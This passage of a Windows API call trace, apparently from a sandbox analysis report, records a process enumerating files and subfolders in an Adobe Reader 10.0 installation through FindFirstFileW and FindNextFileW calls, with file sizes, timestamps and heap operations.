nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUS.htm", cAlternateFileName="README~3.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeSKY.htm", cAlternateFileName="README~2.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeUKR.htm", cAlternateFileName="README~1.HTM")) returned 1 [0232.159] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0232.159] GetProcessHeap () returned 0x550000 [0232.159] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0232.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0233.049] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.049] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1 [0233.050] GetProcessHeap () returned 0x550000 [0233.050] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0233.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0233.142] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.142] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="ADOBEG~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="ADOBEH~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="ADOBEM~2.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="ADOBEM~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="ADOBES~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="KOZGOP~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 1 [0233.143] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="KOZMIN~1.OTF")) returned 0 [0233.143] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0233.145] GetProcessHeap () returned 0x550000 [0233.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0233.145] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0233.145] GetProcessHeap () returned 0x550000 [0233.145] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0233.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0234.006] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="83PV-R~1")) returned 1 [0234.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="90MS-R~1")) returned 1 [0234.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="90MS-R~2")) returned 1 [0234.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="90MS-R~3")) returned 1 [0234.600] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="90MSP-~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="90MSP-~2")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="90PV-R~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="90PV-R~2")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="90PV-R~3")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="ADD-RK~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="ADD-RK~2")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="ADFD7E~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="AD1410~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="ADC905~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="AD7FF9~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="ADEA01~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="AD351C~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="ADOBE-~1")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="ADOBE-~2")) returned 1 [0234.601] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="ADOBE-~3")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="ADOBE-~4")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="AD9A15~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="ADD444~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="ADD8F8~1")) returned 1 [0234.602] FindNextFileW (in: hFindFile=0x6398c8, 